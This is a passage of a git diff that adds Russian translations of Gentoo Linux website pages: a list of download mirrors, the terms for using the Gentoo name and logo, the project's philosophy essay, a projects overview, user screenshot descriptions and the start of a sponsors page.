+<uri link="rsync://gentoo.mirrors.tds.net/gentoo">TDS Internet Services (США/rsync)</uri><br/>
+<uri link="http://gentoo.netnitco.net">NetNITCO Internet Services (США)</uri><br/>
+<uri link="ftp://gentoo.netnitco.net/pub/mirrors/gentoo/source/">NetNITCO Internet Services (США/ftp)</uri><br/>
+<uri link="http://mirror.espri.arizona.edu/gentoo/">Earth Surface Process Research Insti, Univ of Airzona (США/http)</uri><br/>
+<uri link="http://mirrors.acm.cs.rpi.edu/gentoo/">Rensselaer Polytechnic Institute (США/http)</uri><br/>
+<uri link="ftp://ftp.ndlug.nd.edu/pub/gentoo/">University of Notre Dame LUG (США/ftp)</uri><br/>
+<uri link="http://open-systems.ufl.edu/mirrors/gentoo">Open Systems at University of Florida (США/ftp)</uri><br/>
+<uri link="http://gentoo.llarian.net/">Llarian Networks (США/http)</uri><br/>
+<uri link="ftp://gentoo.llarian.net/pub/gentoo">Llarian Networks (США/ftp)</uri><br/>
+<uri link="http://gentoo.binarycompass.org">Binarycompass.org (США/http)</uri><br/>
+<uri link="http://mirror.datapipe.net/gentoo">Datapipe Managed Hosting (США/http)</uri><br/>
+<uri link="ftp://mirror.datapipe.net/gentoo">Datapipe Managed Hosting (США/ftp)</uri><br/>
+<uri link="http://gentoo.cs.lewisu.edu/gentoo/">CS Department at Lewis University (США/http)</uri><br/>
+<uri link="rsync://linux.cs.lewisu.edu/gentoo">CS Department at Lewis University (США/rsync)</uri><br/>
+<uri link="http://prometheus.cs.wmich.edu/gentoo">CS Department at Western Michigan University (США/http)</uri><br/>
+<uri link="http://modzer0.cs.uaf.edu/public/gentoo/">Geographical Information Network of Alaska (США/http)</uri><br/>
+<uri link="rsync://modzer0.cs.uaf.edu/gentoo/">Geographical Information Network of Alaska (США/rsync)</uri><br/>
+<uri link="http://mirror.usu.edu/mirrors/gentoo/">Utah State University (США/http)</uri><br/>
+<uri link="ftp://mirror.usu.edu/mirrors/gentoo/">Utah State University (США/ftp)</uri><br/>
+<uri link="rsync://mirror.usu.edu/gentoo">Utah State University (США/rsync)</uri><br/>
+<uri link="ftp://lug.mtu.edu/gentoo">LUG at Michigan Tech University (США/ftp)</uri><br/>
+<uri link="http://mirror.phy.olemiss.edu/mirror/gentoo">University of Mississippi (США/http)</uri><br/>
+<uri link="http://mirror.mcs.anl.gov/pub/gentoo/">Argonne National Laboratory (USA/http)</uri><br/>
+<uri link="ftp://mirror.mcs.anl.gov/pub/gentoo/">Argonne National Laboratory (USA/ftp)</uri><br/>
+<uri link="rsync://mirror.mcs.anl.gov/pub/gentoo/">Argonne National Laboratory (USA/rsync) </uri><br/>
+<uri link="http://gentoo.mirrors.easynews.com/linux/gentoo/">Easynews NNTP Hosting (США/http)</uri><br/>
+<uri link="rsync://gentoo.mirrors.easynews.com/gentoo/">Easynews NNTP Hosting (США/rsync)</uri><br/>
+<uri link="http://gentoo.cites.uiuc.edu/pub/gentoo/">University of Illinois-Urbana Champaign (США/http)</uri><br/>
+<uri link="ftp://gentoo.cites.uiuc.edu/pub/gentoo/">University of Illinois-Urbana Champaign (США/ftp)</uri><br/>
+<uri link="ftp://ftp.wwc.edu/pub/mirrors/ftp.gentoo.org">Walla Walla College (США/ftp)</uri><br/>
+</p>
+
+</body>
+</section>
+<section>
+<title>Южная Америка</title>
+<body>
+<p>
+<uri link="http://gentoo.localhost.net.ar/">LocalHost - Internet Services (Аргентина/http)</uri><br/>
+<uri link="ftp://mirrors.localhost.net.ar/pub/mirrors/gentoo">LocalHost - Internet Services (Аргентина/ftp)</uri><br/>
+<uri link="http://www.las.ic.unicamp.br/pub/gentoo/">Laboratory of System Administration (Бразилия/http)</uri><br/>
+<uri link="ftp://ftp.las.ic.unicamp.br/pub/gentoo/">Laboratory of System Administration (Бразилия/ftp)</uri><br/>
+</p>
+
+</body>
+</section>
+<section>
+<body>
+
+<p>
+<b>Другие зеркала:</b>
+<br/>
+<uri link="http://ibiblio.org/pub/Linux/MIRRORS.html">(зеркала ibiblio по всему миру)</uri><br/>
+</p>
+
+<p>
+<b>Сведения об организации зеркал:</b>
+<br/>
+<uri link="/doc/en/rsync.xml">как организовать rsync-зеркало Gentoo (англ.)</uri><br/>
+<uri link="/doc/ru/source_mirrors.xml">как организовать зеркало-источник Gentoo Linux</uri><br/>
+</p>
+
+<note>* поддерживается протокол IPv6</note>
+
+</body>
+</section>
+<section>
+<title>Частичные зеркала</title>
+<body>
+
+<p>
+Следующие организации предоставляют частичные зеркала Gentoo Linux, включающие
+архивы исходных кодов и снимки дерева портежей. На этих зеркалах нет копий 
+наших установочных компакт-дисков, живых компакт-дисков или наборов пакетов 
+GRP. Пожалуйста, за такими материалами обращайтесь к зеркалам, перечисленным 
+выше.
+<uri link="http://cdot.senecac.on.ca/software/gentoo/">Seneca College (Канада/http)</uri><br/>
+<uri link="http://securehost.com/mirror/gentoo/">Secure Hosting Ltd. (Карибские о-ва/http)</uri><br/>
+<uri link="ftp://ftp.linux.org.tr/pub/mirrors/gentoo/">Linux Kullanicilari Dernegi (Турция/ftp)</uri><br/>
+<uri link="http://www.org.kemsu.ru/gentoo">Kemerovo State University (Россия/http)</uri><br/>
+<uri link="ftp://ftp.org.kemsu.ru/gentoo">Kemerovo State University (Россия/ftp)</uri><br/>
+<uri link="http://mirror.averse.net/pub/gentoo/">Averese Web Hosting (Сингапур/http)</uri><br/>
+<uri link="ftp://mirror.averse.net/pub/gentoo/">Averese Web Hosting (Сингапур/ftp)</uri><br/>
+
+</p>
+</body>
+
+</section>
+</chapter>
+</mainpage>
+
+<!-- *$Localization:
+target-language: Russian
+target-version: 1.41-r1
+target-date: 2006-09-22
+translated-by: Alexey Chumakov
+edited-by:
+note:
+
+Important: re-check diacritics after each update!
+An entire list should be kept rearranged according to Russian alphabetic 
+sorting order.
+-->
diff --git a/xml/htdocs/main/ru/name-logo.xml b/xml/htdocs/main/ru/name-logo.xml
new file mode 100644
index 00000000..c466955f
--- /dev/null
+++ b/xml/htdocs/main/ru/name-logo.xml
@@ -0,0 +1,286 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/ru/name-logo.xml,v 1.3 2006/03/07 20:53:56 achumakov Exp $ -->
+
+<guide link="/main/ru/name-logo.xml" lang="ru">
+<title>Условия использования названия и логотипа Gentoo</title>
+
+<author title="автор">
+  The Gentoo Foundation
+</author>
+<author title="переводчик">
+  <mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+
+<abstract>
+В этом документе описан порядок использования названия и логотипа Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2005-12-11</date>
+
+<chapter>
+<title>Введение</title>
+<section>
+<body>
+
+<p>
+В этом документе описываются условия надлежащего использования названия Gentoo, 
+логотипа &laquo;g&raquo; и любых других ассоциирующихся с ними обозначений 
+программного обеспечения и деятельности, связанной с компьютерами, не 
+находящихся под управлением Gentoo Foundation, Inc. С вопросами по этим 
+правилам, пожалуйста, обращайтесь в <mail link="trustees@gentoo.org">Gentoo 
+Foundation, Inc.</mail> (по-английски).
+</p>
+
+<p>
+Gentoo Foundation, Inc. сохраняет за собой право периодически изменять эти условия
+исключительно по своему усмотрению. По этой причине, мы настоятельно 
+рекомендуем вам регулярно сверяться с этими условиями.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Определения</title>
+<section>
+<title>Проект Gentoo</title>
+<body>
+
+<p>
+Добровольческая деятельность по разработке, в настоящее время управляемая 
+Gentoo Foundation, Inc., некоммерческой организацией.
+</p>
+
+</body>
+</section>
+<section>
+<title>Материалы, произведенные проектом Gentoo</title>
+<body>
+
+<p>
+Любые материалы, авторские права на которые принажлежат Gentoo Foundation, Inc. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Логотип &laquo;g&raquo;</title>
+<body>
+
+<fig link="/images/glogo-small.png"/>
+
+</body>
+</section>
+<section>
+<title>Изображения Gentoo</title>
+<body>
+
+<p>
+Любые изображения, созданное <e>проектом Gentoo</e> (см. определение выше).
+</p>
+
+</body>
+</section>
+<section>
+<title>Сайт сообщества Gentoo</title>
+<body>
+
+<p>
+Некоммерческий веб-сайт, чья основная цель &mdash; обеспечивать любых 
+пользователей Gentoo дополнительной информацией о Gentoo и вопросах, связанных 
+с Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Право собственности на знаки</title>
+<section>
+<body>
+
+<p>
+Название &laquo;Gentoo&raquo; и логотип &laquo;g&raquo; в настоящее время 
+являются торговыми знаками Gentoo Foundation, Inc. 
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Использование названия Gentoo</title>
+<section>
+<body>
+
+<p>
+Вам разрешается использовать название Gentoo в материалах, связанных с 
+компьютерами, при условии, что:
+</p>
+
+<ol>
+  <li>
+    вы признаете, что название &laquo;Gentoo&raquo; является торговым знаком 
+    Gentoo Foundation, Inc., и
+  </li>
+  <li>
+    вы не называете никакой проект, связанный с программным обеспечением, или 
+    товар, относящийся к компьютерам, &laquo;Gentoo&raquo;, и не упоминаете 
+    Gentoo в его названии, и 
+  </li>
+  <li>
+    полное доменное имя вашего проекта, связанного с программным обеспечением 
+    или товара, относящегося к компьютерам, не содержит &laquo;Gentoo&raquo;, и
+  </li>
+  <li>
+    <e>
+      вы четко упоминаете, что материал, проект, сайт, товар или предмет 
+      любого другого рода, с которым ассоциируется название 
+      &laquo;Gentoo&raquo;, не входит в состав проекта Gentoo, и не находится 
+      под руководством или управлением Gentoo Foundation, Inc.
+    </e>
+  </li>
+</ol>
+
+<p>
+Эти ограничения не распространяются на проект <uri 
+link="http://www.obsession.se/gentoo/">Gentoo file manager</uri>,  
+разрабатываемый Эмилем Бинком, покуда тот не является проектом разработки 
+операционной системы.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Использование логотипа и изображения Gentoo</title>
+<section>
+<body>
+
+<p>
+Вам разрешается использование логотипа Gentoo &laquo;g&raquo; и изображений, 
+авторские права на которые принадлежат Gentoo Foundation, Inc. 
+(&laquo;изображений Gentoo&raquo;) на следующих условиях: 
+</p>
+
+</body>
+</section>
+<section>
+<title>Коммерческое использование</title>
+<body>
+
+<p>
+Использование логотипа Gentoo &laquo;g&raquo; и изображений Gentoo в 
+коммерческих целях разрешается для <e>любых программных или аппаратных 
+компьютерных товаров</e>, которые <e>содержат</e> или <e>основаны на</e> 
+материалах, порожденных проектом Gentoo, а также для любых проектов или услуг,
+ссылающихся на Gentoo или проект Gentoo, при соблюдении следующих условий:
+</p>
+
+<ol>
+  <li>
+    вы признаете, что логотип &laquo;g&raquo; является торговым знаком Gentoo
+    Foundation, Inc., а авторские права на изображения Gentoo принадлежат 
+    Gentoo Foundation, Inc., и 
+  </li>
+  <li>
+    используемое изображение Gentoo <e>не является</e> основным (самым большим)
+    знаком, нанесенным на товар, и таким образом предназначено для указания,
+    что товар содержит &laquo;материалы, созданные проектом Gentoo&raquo;, но 
+    <e>не для указания на то, что сам товар продается или поддерживается</e> 
+    Gentoo Foundation, Inc.
+  </li>
+</ol>
+
+<p>
+<e>
+Коммерческое использование логотипа Gentoo &laquo;g&raquo; и изображения Gentoo 
+в любых других целях в явном виде запрещается.
+</e>
+</p>
+
+</body>
+</section>
+<section>
+<title>Некоммерческое использование</title>
+<body>
+
+<p>
+Некоммерческое использование логотипа Gentoo &laquo;g&raquo; и изображения 
+Gentoo разрешается при соблюдении следующих условий:
+</p>
+
+<ol>
+  <li>
+    вы признаете, что логотип &laquo;g&raquo; является торговым знаком Gentoo
+    Foundation, Inc., а авторские права на изображения Gentoo принадлежат 
+    Gentoo Foundation, Inc., и 
+  </li>
+  <li>
+    логотип &laquo;g&raquo; и изображение Gentoo используется в материалах, 
+    относящихся к &laquo;проекту Gentoo&raquo;, в соответствии с указаниями 
+    Gentoo Foundation, Inc., но не для какой-либо деятельности, не 
+    уполномоченной Gentoo Foundation, Inc., и
+  </li>
+  <li>
+    <e>
+      вы четко упоминаете, что материалы, проект, сайт, товар или предмет 
+      любого другого рода, с которым ассоциируется логотип &laquo;g&raquo; или 
+      изображение Gentoo, не входит в состав проекта Gentoo, и не находится под 
+      руководством или управлением Gentoo Foundation, Inc.
+    </e>
+  </li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Проекты сообщества Gentoo</title>
+<section>
+<body>
+
+<p>
+Gentoo Foundation, Inc. предоставляет сайтам сообществ Gentoo, определенным выше,
+право использования названия Gentoo в названиях своих проектов и полных именах 
+доменов, при условии, что:
+</p>
+
+<ol>
+  <li>
+    на каждой странице веб-сайта четко упоминается, что проект не является 
+    официальным проектом Gentoo, путем собственного обозначения как 
+    &laquo;новостного сайта&raquo;, &laquo;сайта любителей&raquo;, 
+    &laquo;неофициального сайта&raquo; или &laquo;сайта сообщества&raquo;, и 
+  </li>
+  <li>
+    на веб-сайте отсутствует близкое копирование названия или компоновки 
+    одного из наших официальных веб-сайтов, и
+  </li>
+  <li>
+    вы признаете, что название &laquo;Gentoo&raquo; является торговым знаком 
+    Gentoo Foundation, Inc. 
+  </li>
+</ol>
+
+<p>
+Использование названия, логотипа или изображения Gentoo в любых других целях 
+подпадает под ограничения вышеперечисленных условий.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/main/ru/philosophy.xml b/xml/htdocs/main/ru/philosophy.xml
new file mode 100644
index 00000000..8b3847cb
--- /dev/null
+++ b/xml/htdocs/main/ru/philosophy.xml
@@ -0,0 +1,151 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/ru/philosophy.xml,v 1.6 2007/03/16 10:40:45 neysx Exp $-->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="ru">
+<title>Философия Gentoo</title>
+<author title="автор">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="переводчик">
+  <mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+
+<abstract>
+В этом документе описывается философия, лежащая в основе Gentoo.
+</abstract>
+
+<version>1.1</version>
+<date>2003-10-27</date>
+
+<chapter>
+<title>Общественный договор Gentoo Linux</title>
+<section>
+<body>
+
+<p>
+Четкое описание общих принципов разработки и стандартов команды разработки 
+Gentoo Linux содержится в нашем <b><uri 
+link="/main/ru/contract.xml">общественном договоре</uri></b>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Философия Gentoo</title>
+<section>
+<body>
+
+<p>
+Я создал Gentoo, потому что не смог найти дистрибутива Linux, который мне бы
+понравился. В дистрибутивах Linux преобладала такая черта: &laquo;средства 
+установки&raquo;, управляющие всей системой, те самые, что должны были 
+облегчить мне жизнь, в действительности требовали много внимания и лишь 
+преграждали мне путь. Я пытался сказать <e>им</e>, что я хочу, а их больше 
+интересовало то, как бы указать <e>мне</e>, что <e>им</e> от меня требуется.
+</p>
+
+<p>
+Итак, я создал Gentoo Linux, и задумал систему сборки Portage такой, чтобы 
+она стала совершеннее всех тех, что были до нее. С этой целью я создал ее 
+достаточно гибкой, чтобы позволять мне делать то, что я хочу, и попытался
+сделать ее настолько гибкой, чтобы дать и другим возможность делать то, 
+что, как я думал, они могли бы захотеть.
+</p>
+
+<p>
+При желании выяснить, как происходит сборка пакета, они могли бы заглянуть в
+относительно понятный сборочный файл (ebuild) и все узнать из него. Желая 
+подстроить процесс сборки, они применяли бы флаги использования (USE). 
+При желании добавить пакет, они бы создавали новый сборочный файл, включаемый 
+в общее дерево. При желании использовать пакет, они бы просто говорили: 
+&laquo;Явись!&raquo; (emerge), &mdash; а все связанные с ним пакеты 
+настраивались бы автоматически.
+</p>
+
+<p>
+Людям понравилась концепция Portage, и Gentoo Linux стал быстро развиваться. Мы
+получили известность как дистрибутив &laquo;из исходников&raquo;, но суть 
+концепции Gentoo &mdash; не в этом. &laquo;Из исходников&raquo; &mdash; важный 
+и ключевой аспект Gentoo, который был и останется необходимым, но не 
+единственный и не главный. <e>Основополагающая задача &mdash; создание 
+технологии, позволяющей как нам, так и другим делать то, что хочется, без 
+ограничений.</e>
+</p>
+
+<p>
+Чтобы подытожить суть Gentoo, представим себе пользователя, сидящего перед 
+системой Linux. Чего он или она захочет сделать? Философия Gentoo &mdash; 
+позволить этому пользователю делать то, что он или она пожелает, не вставая на 
+его пути.
+</p>
+
+<p>
+Во то время, когда был рожден Gentoo, камнем преткновения было отсутствие 
+легкого способа сборки пакетов из исходных текстов в соответствии с 
+указаниями пользователя. Сейчас этот вопрос мы хорошо отработали, а что еще не
+слишком развито &mdash; это поддержка заранее собранных пакетов, хотя Portage 
+поддерживает сборку готовых двоичных пакетов почти с самого начала. Именно этим 
+мы занимаемся сейчас.
+</p>
+
+<p>
+Важно, чтобы наши инструменты поддерживали двоичные пакеты, поскольку те 
+широко используются и очень востребованы в сообществе Linux. Без поддержки 
+двоичных пакетов мы не могли бы заявлять, что наш инструментарий создан, чтобы 
+давать пользователю возможность сделать все, что он захочет. Целенаправленно 
+исключив поддержку двоичных пакетов, мы попытались бы вмешаться в подход 
+пользователя к решению конкретных задач, взамен навязывая свою собственную волю 
+или взгляд на то, как ему следует подходить к решению. А избегая сборки 
+двоичных пакетов сами, мы не приблизились бы к уверенности в том, что наши 
+инструменты хорошо с ними работают, не смогли бы ручаться, что другие тоже 
+смогут собирать двоичные пакеты, и даже не смогли бы <e>продемонстрировать</e>, 
+что наши инструменты хорошо работают с двоичными пакетами. Кроме этих 
+философских причин, есть много чисто практических соображений, чтобы создавать 
+двоичные пакеты.
+</p>
+
+<p>
+Философия Gentoo в одном абзаце такова. Каждому пользователю приходится 
+выполнять определенную работу. Цель Gentoo &mdash; разработка инструментов и 
+систем, позволяющих пользователю заниматься своим делом как можно эффективнее 
+и в свое удовольствие, так, как <e>он</e> сочтет нужным. Наши инструменты 
+должны приносить радость и помогать пользователю оценить по достоинству все 
+богатство Linux и сообщества свободного программного обеспечения, а также 
+гибкость свободных программ. Такое возможно только тогда, когда инструменты
+создаются, чтобы отражать и проводить волю пользователя, оставляя для него 
+открытыми все возможности с самого начала (с исходного кода). Когда 
+инструмент заставляет пользователя действовать определенным образом, инструмент 
+работает против него, а не на него. Все мы сталкивались с ситуациями, когда 
+инструменты стремились навязать нам свою собственную волю. Такой подход &mdash; 
+полная противоположность, несовместимая с философией Gentoo.
+</p>
+
+<p>
+Иными словами, философия Gentoo &mdash; создание лучших инструментов. Когда 
+инструмент в совершенстве выполняет свою задачу, вы можете даже не замечать его 
+присутствия, потому что он не перечит вам, не проявляет себя, и не заставляет 
+вас возиться с ним, когда вам совершенно не до этого. Инструмент служит 
+пользователю, а не пользователь &mdash; инструменту.
+</p>
+
+<p>
+Будущая задача Gentoo &mdash; продолжать борьбу за создание инструментов, 
+близких к идеалу. Инструментов, удовлетворяющих нужды множества различных 
+пользователей (каждого &mdash; со своими разнообразными целями) с простотой, 
+идущей рука об руку с непревзойденной мощью. Разве вы не любите пользоваться 
+инструментами, которые отлично подходят для ваших нужд? Разве это не 
+великолепное ощущение? Наша цель &mdash; передать это чувство как можно 
+большему числу людей.
+</p>
+
+<p>
+Дэниел Робинс<br/>
+предыдущий главный архитектор
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ru/projects.xml b/xml/htdocs/main/ru/projects.xml
new file mode 100644
index 00000000..81db7fc8
--- /dev/null
+++ b/xml/htdocs/main/ru/projects.xml
@@ -0,0 +1,72 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="ru">
+<title>Проекты Gentoo Linux</title>
+<author title="предыдущий главный архитектор">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author> 
+
+<abstract>
+На этой странице перечислены разработки, не особенно относящиеся к Gentoo 
+Linux.
+</abstract>
+
+<version>1.3</version>
+<date>2004-09-30</date>
+
+<chapter>
+<title>Проекты Gentoo Linux</title>
+<section>
+<body>
+
+<p>
+<b><uri link="/proj/en/releng/catalyst/">Catalyst</uri> &mdash; это 
+инструмент, используемый командой разработки выпусков (Release Engineering 
+team) для создания всех выпусков Gentoo. Catalyst способен создавать стадии 
+установки, наборы эталонной платформы и загрузочные живые компакт-диски.</b>
+</p>
+
+<p>
+<b><uri link="/proj/en/infrastructure/tenshi/">Tenshi (англ.)</uri></b> &mdash;
+программа слежения за журналом, предназначенная для выявления в одном или 
+нескольких файлах журнала строк, совпадающих с заданным регулярным выражением, 
+и сообщения о совпадениях. Регулярные выражения назначаются очередям, для 
+которых установлена периодичность предупреждения и список адресатов электронной 
+почты.
+</p>
+
+<p>
+<b><uri link="/proj/en/keychain/">Keychain (англ.)</uri> &mdash; чрезвычайно 
+удобная программа для управления ключами OpenSSH и коммерческими 
+SSH2-совместимыми RSA/DSA.</b> Она выступает фасадом для <c>ssh-agent</c>, 
+позволяя пользоваться всего одним долгоживущим процессом <c>ssh-agent</c> 
+<e>для всей системы</e>, вместо отдельного процесса для каждого сеанса 
+пользователя. Это радикально сокращает необходимость ввода парольной фразы 
+&mdash; с одного раза для каждого входа в систему до единственного раза <e>при 
+каждой перезагрузке локальной машины</e>.
+</p>
+
+<p>
+<b><uri link="/proj/en/dynfw.xml">Сценарии межсетевого экрана dynfw 
+(англ.)</uri> &mdash; набор сценариев межсетевого экрана, основанного на 
+netfilter (<c>iptables</c>), предназначенный для обеспечения немедленного 
+взвешенного ответа на надвигающиеся угрозы безопасности.</b> Эти сценарии 
+<c>bash</c> предназначены для работы с практически любым межсетевым экраном, 
+основанном на netfilter (включая работу как в режиме &laquo;по умолчанию все
+разрешено&raquo;, так и в режиме &laquo;по умолчанию все запрещено&raquo;).
+</p>
+
+<p>
+<b>На <uri link="/proj/en/site.xml">странице проектов XML (англ.)</uri> 
+находится полная XSLT-машина <c>guide</c>, использованная для создания всего
+этого сайта, включая главные страницы и онлайн-документацию.</b> На этой 
+странице находится архив, содержащий полные исходные коды, использованные для 
+генерации последней версии веб-сайта <uri>http://www.gentoo.org</uri> &mdash;
+того, что сейчас находится перед вами.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ru/shots.xml b/xml/htdocs/main/ru/shots.xml
new file mode 100644
index 00000000..663df56a
--- /dev/null
+++ b/xml/htdocs/main/ru/shots.xml
@@ -0,0 +1,203 @@
+<?xml version='1.0'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="shots.xml" lang="ru">
+<title>Снимки с экрана Gentoo</title>
+<author title="предыдущий главный архитектор">
+	<mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="автор">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="автор">Сергей Кулешов</author>
+<author title="ответственный переводчик">
+	<mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+
+<!--
+  Method for publishing screenshots:
+  - Remove the bottom screenshot from the page; don't forget removing the images
+    from CVS afterwards as well
+  - Add the new screenshot on top of the page
+
+  We keep the 10 most recent screenshots so that we don't provide outdated
+  screenshots to our users.
+-->
+
+<abstract>Снимки с экрана: Gentoo Linux в действии</abstract>
+
+<version>1.3</version>
+<date>2006-01-20</date>
+
+<chapter>
+<title>Вот они... щелкните, чтобы увидеть PNG большего размера!</title>
+
+<section>
+<title>Отговорка</title>
+<body>
+
+<p>
+Снимки с экрана, находящиеся на этой странице, предоставлены различными 
+пользователями Gentoo. Проект Gentoo не располагает сведениями об 
+использованных темах, фоновых рисунках и т.п. За дополнительной информацией вам 
+потребуется обращаться к автору конкретного снимка (если вам удастся его 
+найти).
+</p>
+
+<p>
+Вы всегда можете попытаться поискать авторов на нашем чат-канале #gentoo на
+irc.freenode.net, или <uri link="http://forums.gentoo.org">в форумах gentoo 
+(англ.)</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Darkclown Coronado</title>
+<body>
+
+<p>
+Темный Клоун (и не спрашивайте кто!) прислал свой занятный снимок экрана, на 
+котором &mdash; значки saki, навеянные vista, и графическая среда 
+ChristianNickel &mdash; &laquo;шестерни&raquo; (the gears). На рабочем столе 
+&mdash; среда KDE c оформлением окон Plastik и стилем keramik. Также заметны 
+дополнения karamba типа liquid weather и cynapses aero.
+</p>
+
+<fig link="/images/shots/desktop-rehcmx-small.jpg"
+     linkto="/images/shots/desktop-rehcmx.jpg" />
+
+</body>
+</section>
+
+<section>
+<title>Scott S Short</title>
+<body>
+
+<p>
+На машине Скотта &mdash; ядро 2.6.14-gentoo-r2 и Gnome 2.12, и сверху &mdash; 
+тема Milk 2.0. Все значки родом с сайта Gentoo.
+</p>
+
+<fig link="/images/shots/desktop-scottsshort-small.png"
+     linkto="/images/shots/desktop-scottsshort.png" />
+
+</body>
+</section>
+
+<section>
+<title>Richard Head</title>
+<body>
+
+<p>
+Ричард &mdash; один из множества пользователей, пораженных гибкостью Gentoo. 
+Свой снимок экрана, на котором &mdash; mp3-проигрыватель, информация о 
+системе, прозрачные терминалы и меню, а еще пробегают сообщения сканирования 
+портов, он считает &laquo;довольно крутым&raquo;.
+</p>
+
+<fig link="/images/shots/desktop-cadaver138-small.png"
+     linkto="/images/shots/desktop-cadaver138.png" />
+
+</body>
+</section>
+
+<section>
+<title>Wolfram Schlich</title>
+<body>
+
+<p>
+Вольфрам &mdash; один из разработчиков Gentoo, ответственных за антивирусное 
+хозяйство в Portage. На снимке его экрана &mdash; система с настроенным 
+gnome-2.8, где запущен firefox 1.0.2 с темой qute3, xmms (со шкуркой xawmms) 
+и два терминала, в которых &mdash; centericq и htop.
+</p>
+
+<fig link="/images/shots/wschlich-small.png" linkto="/images/shots/wschlich.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Michael Olson</title>
+<body>
+
+<p>
+На снимке экрана Майкла виден Enlightenment 0.17 (prerelease 10) с некоторыми
+модулями E17: часами, запуском программ и оповещениями. Рядом запущены gkrellm, 
+mozilla, evidence, xemacs-gtk, erss (для ленты новостей), gaim и xmms.
+</p>
+
+<fig link="/images/shots/olson-small.png" linkto="/images/shots/olson.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Buda Travers</title>
+<body>
+
+<p>
+Буда &mdash; один из многочисленных счастливых пользователей Gentoo. Он 
+довольно недавно на сцене GNU/Linux, но умудрился полностью прочитать GPL :) В 
+его системе запущен Gnome. На снимке виден Gaim, XMMS, наряженный в Gentoo_Ice, 
+а также процесс компиляции OpenOffice 1.1.3.
+</p>
+
+<fig link="/images/shots/buda-small.png" linkto="/images/shots/buda.png"/>
+
+</body>
+</section>
+
+<section>
+<title>William Godois</title>
+<body>
+
+<p>
+Уильям пользуется Gentoo уже 9 месяцев, перед этим пару лет поработав в 
+Mandrake. Его основным диспетчером окон всегда был enlightenment, который 
+продемонстрирован на этом снимке. Также видны обои от Cognitive Distortion, и 
+значки, загруженные с сайта Gentoo.
+</p>
+
+<fig link="/images/shots/godoisw-small.jpg" linkto="/images/shots/godoisw.jpg"/>
+
+</body>
+</section>
+
+<section>
+<title>Alex Santiago</title>
+<body>
+
+<p>
+Алекс &mdash; недавний пользователь Gentoo, впервые узнавший его в октябре 
+2004, найдя Gentoo на DVD, который прилагался к журналу Linux Format. На его 
+снимке экрана &mdash; KDE 3.3.1 и Eterm 0.9.2, где бежит журнал сообщений 
+сервера. По бокам его рабочего стола видны gdesklets и calender, Kopete и 
+gkrellm.
+</p>
+
+<fig link="/images/shots/alex-small.png" linkto="/images/shots/alex.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Eric Holmes</title>
+<body>
+
+<p>
+Окна рабочего стола Эрика управляются диспетчером XFCE4, а файлы и значки 
+&mdash; ROX2. Справа &mdash; Анюта с исходником fbgrab. На панели XFCE4 
+заметна программка, следящая за беспроводным подключением к домашней сети 
+Эрика.
+</p>
+
+<fig link="/images/shots/ejholmes-small.png" linkto="/images/shots/ejholmes.png"/>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/main/ru/sponsors.xml b/xml/htdocs/main/ru/sponsors.xml
new file mode 100644
index 00000000..f7dcdd9a
--- /dev/null
+++ b/xml/htdocs/main/ru/sponsors.xml
@@ -0,0 +1,322 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/ru/sponsors.xml,v 1.5 2007/03/16 10:40:45 neysx Exp $ -->
+
+<mainpage lang="ru">
+<title>Спонсоры Gentoo</title>
+
+<author title="автор">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="автор">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="редактор">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="ответственный переводчик">
+  <mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+
+<abstract>
+Спонсоры Gentoo
+</abstract>
+
+<version>1.8</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Спонсоры Gentoo</title>
+<section>
+<body>
+
+<p>
+Gentoo выражает благодарность следующим предприятиям и организациям,
+подарившим различные услуги и оборудование, содействуя развитию Gentoo.
+Без этих организаций Gentoo не смог бы дойти туда, где находится
+сейчас.
+</p>
+
+</body>
+</section>
+<section>
+<title>Орегонский государственный университет (США)</title>
+<body>
+
